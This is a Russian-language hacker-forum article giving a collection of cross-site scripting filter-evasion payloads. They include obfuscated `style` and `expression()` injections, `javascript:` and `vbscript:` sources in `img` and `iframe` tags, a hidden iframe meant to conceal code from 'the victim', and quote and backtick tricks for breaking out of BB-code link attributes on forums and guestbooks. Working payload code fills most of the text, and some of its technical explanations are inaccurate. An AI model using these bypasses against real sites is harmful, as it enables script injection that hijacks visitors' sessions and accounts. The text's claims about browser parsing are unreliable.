Слушая непрестанное прошение от пользователей античата в моей холодной, скромной аськи написать побольше статей, Я решил все таки так и сделать - написать ещё одну Гениальную статью.
Прочитав свои недавно написанные статьи, Я пришёл к выводу, что они были не столько статьи, сколько уже готовые варианты, и мне захотелось написать настоящую статью, описав все более менее подробно, как работают вещи и почему.
Пришел Я к этому выводу из-за того, что увидел, что когда Я элементарным языком объясняю и показываю мои Гениальнейшие нахождения, то никто толком ничего и не понимает. Ну понятно почему, ведь сейчас из-за меня пошел ...хлынул лучше скажу народ, который мало что где читал.
Эта статья долгая, и почерпать могут из неё как и новички, так и Алгол.
Ну начнемс иМхо....
В одной из моих статей, Я с вами рассматривал разновидные варианты обхода фильтров в параметрах атрибута style.
Напомним себе материал той статьи, так как этот материал нам еще пригодится.
Код HTML:
<html><body><a href=www. style="back\g\r\o\u\nd:\u\r\l\(\javasc\r\i\p\t\:a\le\r\t\ (\'\w\j\'\)\)" >wj<a></body></html>
Код HTML:
<html><body><a href=www. style="/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**/'\w\j\'/**/\/**/)/**/\/**/)" >wj<a></body></html>
Код HTML:
<html><body><a href=www. style="/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**//\w\j\//**/\/**/)/**/\/**/)" >wj<a></body></html>
Код HTML:
<html><body><a href=www. style=/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**//\w\j\//**/\/**/)/**/\/**/) >wj<a></body></html>
Код HTML:
<html><body><a href=www. style====/=*=*=/=back\g\r\o\u\nd=/=*=*=/=:=/*=*/\u/*=*/\r/*=*/l/*=*/\(/*=*/\j/*=*/a/*=*/v/*=*/a/*=*/s/*=*/c/*=*/\r/*=*/\i\p/*=*/\t\:/*=*/a/*=*/\l/*=*/e/*=*/\r/*=*/\t/*=*/\(/*=*=/=\=/=*=*//\w\j\//**/\/**/)/**/\/**/) >wj<a></body></html>
Код HTML:
<html><body><a href=www. style====/=*=*=/=back\g\r\o\u\nd=/=*=*=/=:=/*=*/\u/*=*/\r/*=*/l/*=*/\(/*=*/\j/*=*/a/*=*/v/*=*/a/*=*/s/*=*/c/*=*/\r/*=*/\i\p/*=*/\t\:/*=*/a/*=*/\l/*=*/e/*=*/\r/*=*/\t/*=*/\(/*=*=/=\=/=*=*/'\w\j\'/*=*=/=\=/=*=*/)/*=*=/=\=/=*=*/) >wj<a></body></html>
Тут показывается, как ИЕ славно убирает всякие ошибки - до выполнения кода. Убирает ИЕ ошибки в параметрах как Я уже сказал раньше, ДО выполнения....и это мы с вами еще рассмотрим иМхо.
Как уже поняли, Я показывал новые обходы фильтров в параметре Style. А теперь Я бы хотел объяснить почему это
все в параметре style работает, а так же, показать методы обхода фильтров и в самих атрибутах.
Ну начнёмс иМхо заново.....
До атрибута style, можно поставить иМхо, что угодно...
Будет работать и так,
Код HTML:
<html><body> <WhiteJordan/style=background:url(javascript:alert(/wj/))> </body></html>
И да, даже вот так,
Код HTML:
<html><body> <WhiteJordan/**/style=background:url(javascript:alert(/wj/))> </body></html>
Да блин и вот так!
Код HTML:
<html><body> <WhiteJordan/*/style=background:url(javascript:alert(/wj/))> </body></html>
Да [мат]! Так ТОЖЕ будет работать [мат]!
Код HTML:
<html><body> <White Jordan/*/style=background:url(javascript:alert(/wj/))> </body></html>
Но проблема иногда бываем из-за того, что сам атрибут, "style", иногда просто фильтруется, а иногда к нему прибавляется ещё и крестик какой нить, (X) в этом случаи, это можно обойти вот так,
Код HTML:
<html><body> <WhiteJordan/StYlE =background:url(javascript:alert(/wj/))> </body></html>
Где буквы S, Y и E, написаны большими буквами, а после большой буковки E, до знака равенства, (=) идут обычные пробелы.
И естественно сами пробелы, можно тоже заменить ещё и табуляциями....примерно вот так,
Код HTML:
<html><body> <WhiteJordan/StYlE =background:url(javascript:alert(/wj/))> </body></html>
Тоже самое, можно употребить и для тега <img src=...>,
Код HTML:
<html><body> <img/src =javascript:alert(/wj/)> </body></html>
Или
Код HTML:
<html><body> <img src =javascript:alert(/wj/)> </body></html>
и
Код HTML:
<html><body> <img / src =javascript:alert(/wj/)> </body></html>
Тут использовались табуляции ( ), в совокупности со слешом. (/)
Должен ещё добавить, что в середине атрибутов тега можно вписывать - что угодно...к примеру:
Код HTML:
<html><body> <img White Jordan src =javascript:alert(/wj/)> </body></html>
Или вообще это все написать вот так,
Код HTML:
<html><body> <img/WhiteJordan/src=javascript:alert(/wj/)> </body></html>
Атрибут img, можно и не сокращать:
Код HTML:
<html><body> <image/White/Jordan/src=javascript:alert(/wj/)> </body></html>
Чуток познакомлю всех с материалом на разброс, на всякий пожарный если кто не знал или ещё что-нить такое..
В языке VbScript, в скобках, можно ТОЛЬКО вставить двойные кавычки, что-бы получить видное для глаз сообщение в коробке алёрта.
То есть вот так,
Код HTML:
<html><body> <img src=vbscript:alert(/wj/)> </body></html>
Или так,
Код HTML:
<html><body> <img src=vbscript:alert(`wj`)> </body></html>
Или вот так,
Код HTML:
<html><body> <img src=vbscript:alert('wj')> </body></html>
Работать у вас не хера не будет.
Будет работать только вот так:
Код HTML:
<html><body> <img src=vbscript:alert("wj")> </body></html>
В двух словах, если вы хотите в параметре (внутренности) атрибута тега использовать VbScript, а сам параметр заключить в кавычки, то для работоспособности вы должны будите написать вот так:
Код HTML:
<html><body> <img src='vbscript:alert("wj")'> </body></html>
Или же так.
Код HTML:
<html><body> <img src=`vbscript:alert("wj")`> </body></html>
Вот так у вас,
Код HTML:
<html><body> <img src="vbscript:alert("wj")"> </body></html>
Работать не будет.
До функции "expression", можно вставить - что угодно. Хоть так, ИЕ по барану:
Код HTML:
<html><body> <span style="WhiteJordan:expression(eval(window.alert(/wj/)))">wj</span> </body></html>
Функцию "eval" писать тоже не обязательно, а функцию, "window.alert", можно сократить до "alert":
Код HTML:
<html><body> <span style="WhiteJordan:expression(alert(/wj/))">wj</span> </body></html>
Или же так, создать свой собственный атрибут и назвать его, "span2", после чего его параметр будет обрабатываться JavaScript`ом.
Код HTML:
<html><body> <span style="WhiteJordan:expression(javascript(eval(span2)));" span2='alert(/wj2/);span2=null;'></span></body></html>
Можно конечно и так,
Код HTML:
<html><body> <span style='background:url(javascript:eval(window.alert ("wj")))'> </body></html>
Чуток покажу вам браузеро не зависимые коды, то есть коды, которые работает во всех браузерах.
Код HTML:
<html><body> <iframe src="javascript:eval(this.wj); wj=this.wj='<scrip\x74>aler\x74(/wj/);</scrip\x74>'"> </body></html>
Код HTML:
<html><body> <iframe src="javascript:eval(this.wj); wj=this.wj='<script>alert(/wj/);</script>'"> </body></html>
Код HTML:
<html><body><iframe src=javascript:alert(/wj/) style='display:none;'></body></html>
Код HTML:
<html><body> <iframe src='javascript:eval(this.wj1); wj1=alert(/wj2/);' style='display:none'> </body></html>
Кратко дам описание,
Потому что iframe src после знака равенства настроен на то, чтобы получать источник/адрес, то используя это, мы зададим ему вместо источника - JavaScript. Само слово, "src" сокращенна от английского слова, "source" что в переводе на русский язык означает = Источник. Функция, "eval", сокращенна от Английского слова, "Evaluate", и в переводе с Английского слова на русский, (В нашем случае) означает = "Обрабатывать, обработать". Английское слово, "This", означает в переводе на русский язык = "Это, вот это". А что именно, "это"? В данном случае мы указываем свой собственный атрибут, который мы наименовали wj1, и указали JavaScript`у, чтобы он наш новый атрибут - обработал. Атрибут и его параметр, style=display:none; вписан чтобы спрятать наш код от глаз нашей жертвы, и приведенный код, не имеет браузер зависимость и работает во всех трех популярных браузерах ИЕ, Фаерфокс и Опера. (С лева на права по проценту ихнего использования.)
Хочу вернутся чуток к атрибуту style. Как Я уже говорил, до атрибута, "style", можно писать что угодно, лишь бы после него шёл знак равенства. (=) В других словах, совсем не обязательно писать <span style=...> - для его работоспособности. Причем сам атрибут, "style", можно вписывать и с любыми другими атрибутами, а он все равно будет работать.
К примеру, возьмем тег ссылки,
Код HTML:
<a href=http://www.wj.com>http://www.wj.com</a>
И впишем туда наш атрибут, "style",
Код HTML:
<a href=http://www.wj.com style=background:url(javascript:alert(/wj/))>http://www.wj.com</a>
Это все хорошо....но если Я теперь пойду дальше, то те люди которые не имеют знаний - ничего не поймут.
Объясню что и как, используя тег ссылки, для краткого объяснения.
Код HTML:
<a href=http://www.wj.com>wj1</a>
С начало идет левая угловая скобка, (<) открывающая тег, потом идет атрибут тега, (a href) потом идет знак равенства, (=) который говорит, что атрибут закончился и начался параметр атрибута, сразу после знака равенства, (=) идет параметр атрибута, (http://www.wj.com) потом идет правая закрывающая угловая скобка, (>) после нее идёт наше видимое наименование нашего тега, (wj1) а чтобы указать где наше именование кончается, мы указываем атрибут </a> и у нас получается работоспособный тег ссылки. После клика на эту ссылку, параметр атрибута образно говоря, вставится в поле адреса в верхнею часть нашего браузера, и мы на лыжах поедем по этому адресу.
Давайте посмотрим, что случится если мы в параметре атрибута - впишем пробел.
Код HTML:
<a href=http://www.wj .com>http://www.wj.com</a>
Или табуляцию...
Код HTML:
<a href=http://www.wj .com>http://www.wj.com</a>
А вот что будет...слово, ".com", которое до этого у нас было параметром тега, теперь из-за пробела ( ) или табуляции, ( ) стало атрибутом и теперь ждет, чтобы мы ей указали знак равенства, (=) чтобы начать свой собственный параметр.
А есть ли какой нибудь способ, чтобы в параметре атрибута указать пробел или табуляцию, и не сделать все, что идет после пробела и табуляции - атрибутом?...
Ответ = Да, есть.
Для этого в параметр тега сразу после знака равенства, вставляется одна из двух видов кавычек - одинарная, (') или двойная. (")
Чуток отвлекусь и расскажу вам кратко о кавычках....
Легальных, работоспособных кавычек в языке JavaScript - всего две. Одинарная, (') и двойная. (") Многие разработчики браузеров считают, что должна существовать только одна кавычка - двойная. Одинарную многие разработчики браузеров как легальную в языке JavaScript и в других языках - признавать не хотят. (Хоть про JavaScript чуток не в тему, однако не беда если напомню иМхо)
Написав наш код через двойные кавычки,
Код HTML:
<a href="http://www.wj.com">http://www.wj.com</a>
Мы тем самом, указали атрибуту, что все, что будет идти в середине двойных кавычек - будет параметром атрибута тега и будет параметром атрибута тега в не зависимости если это пробел, табуляция, или даже левая или правая угловая скобка. То есть мы теперь смело можем вписывать в параметр тега пробел, ( )
Код HTML:
<a href="http://www.wj .com">http://www.wj.com</a>
Табуляцию ( )
Код HTML:
<a href="http://www.wj .com">http://www.wj.com</a>
Одинарную кавычку (')
Код HTML:
<a href="http://www.wj'.com">http://www.wj.com</a>
Угловые скобки,
Код HTML:
<a href="http://www.wj <script>alert('wj')</script>.com">http://www.wj.com</a>
И при этом все это, будет в параметрах нашего тега.
А что будет, если мы в наш параметр, который теперь заключен в двойные кавычки, впишем ещё одну двойную кавычку по середине?....
Код HTML:
<a href="http://www.wj".com">http://www.wj.com</a>
А будет следующие....из-за того, что мы теперь закрыли нашей двойной кавычкой параметр атрибута вставив её в середину нашего параметра, из-за этого, наше слово, ".com", которое у нас раньше было параметром - стало атрибутом.
Ещё один момент, когда параметр заключен в кавычки, то не обязательно после кавычек вписывать пробел или табуляцию, чтобы иметь рабочий атрибут. То есть вполне легально написать так:
Код HTML:
<html><body> <a href="http://www.wj"style='background:url(javascript:alert(/wj/))'.com">http://www.wj.com</a></body></html>
И иметь работоспособный код. Не обязательно до атрибута, "style", писать пробел.
Теперь давайте рассмотрим альтернативу тегов, которые обычно называются ББ кодами и используются в e-mail`ах, в форумах, в чатах, в гостевых книгах и в других местах - как альтернативы.
В целях безопасности а главное удобности, люди пришли к выводу, что не обязательно пользователю вписывать
Код HTML:
<a href="http://www.wj.com">http://www.wj.com</a>
Чтобы у него получилась рабочая ссылка, когда ему просто можно написать:
Код HTML:
Послать это со своим сообщением, а система, обработавши это, преобразует эти ББ коды в следующий результат:
Код HTML:
<a href="http://www.wj.com">http://www.wj.com</a>
Давайте сравним их... =)))
Код HTML:
<a href="http://www.wj.com">http://www.wj.com</a>
Код HTML:
Лепота....=)))))
При этом легко понять, что если мы впишем в наши ББ коды двойную кавычку,
Код HTML:
http://www.wj.com
То эта безобидная кавычка, может закрыть параметр, а нам дать возможность вписать свой собственный атрибут для атаки.
Код HTML:
<a href="http://www.wj".com">http://www.wj.com</a>
Чтобы такого не было, люди придумали вставлять фильтры, которые бы просканивали ввод пользователя и нашедши запретные объекты, или полностью бы удаляли эти запретные объекты, или изменяли бы эти объекты - на ихние зашифрованные альтернативы.
То есть сейчас почти везде, во всех форумах, чатах и гостевых книгах, написав:
Код HTML:
http://www.wj.com
Мы бы получили следующий результат:
Код HTML:
<a href="http://www.wjFILTERED.com">http://www.wj.com</a>
И тем самым, выйти из параметра атрибута - у нас бы не получилось.
А что если двойная кавычка НЕ отфильтрировалась....что вписывать тогда, чтобы совершить атаку?
Есть такая вещь, по названию "Обратный Апостроф". (`) Он не является ограничителем строк в таких языках как JavaScript, VbScript, Jscript, CSS, и так далее, однако он как раз таки является ограничителем строк, в языках HTML и XHTML, но только в браузере ИЕ. (Среди Оперы, Фаерфокс и ИЕ,)
Короче браузер ИЕ, признает одинарную кавычку, (') двойную кавычку (") и обратный апостроф (`) - как ограничителями строк в параметрах атрибутов только в языках HTML и XHTML.
Другие браузера как Опера и Фаерфокс - признают только одинарную и двойную кавычку в языках HTML и XHTML, как границами параметров.
Как все уже знаем, браузер ИЕ, может убирать не смертельные ошибки программиста....приведу несколько примеров:
Код HTML:
<img src="java script:alert(/wj/)">
Что сделает ИЕ в этом случае? Правильно! Он ее уберет...как проверить, что он ее именно убирает?
Пишем вот так в доказательство вам:
Код HTML:
<img src="javascript:alert( /wj/ )">
Выскочит алёрт.
Код HTML:
<img src="javascript:alert(/ wj /)">
Выскочит алёрт.
Код HTML:
<img src="javascript:alert(/ /)">
Алерт НЕ выскочит, потому что табуляция будет вырезана браузером ИЕ и в итоге у нас получится равно сильно следующему скрипту:
Код HTML:
<img src="javascript:alert(//)">
То есть два не одинаково написанные скрипты:
Код HTML:
<img src="javascript:alert(/ /)">
И
Код HTML:
<img src="javascript:alert(//)">
- Выполнятся одинаково.
Являются ли табуляции в этих случаях ошибками? Да! Убирают ли другие браузеры эти ошибки как это делает браузер ИЕ?
лоооол Да! Хоть другие браузера как Фаерфокс и Опера этому менее и научены, (ИЕ браузер делает это лучших всех остальных браузеров,) но Фаерфокс и Опера работают по такому же принципу.
И это совсем не значит, что ИЕ является из-за этого "хуже" чем Фаерфокс или Опера или другие браузеры. Просто из-за того, что Микрасофт хотел, чтобы его браузер был бы самым распространенным по использованию, Микрасофт именно по этой причине и создал ИЕ так - как он собственно и создан. И речь совсем не идёт о глюках или ошибках ИЕ, а вообще в каком браузере их нет? И кстати в плане того, чтобы ИЕ стал наибольше использован, то в этом плане, Микрасофт свою цель - достиг.
Фаерфокс и Опера однако, придерживаются более жёсткой системе и менее научены угадывать или убирать ошибки программистов во время обрабатывания определенного языка.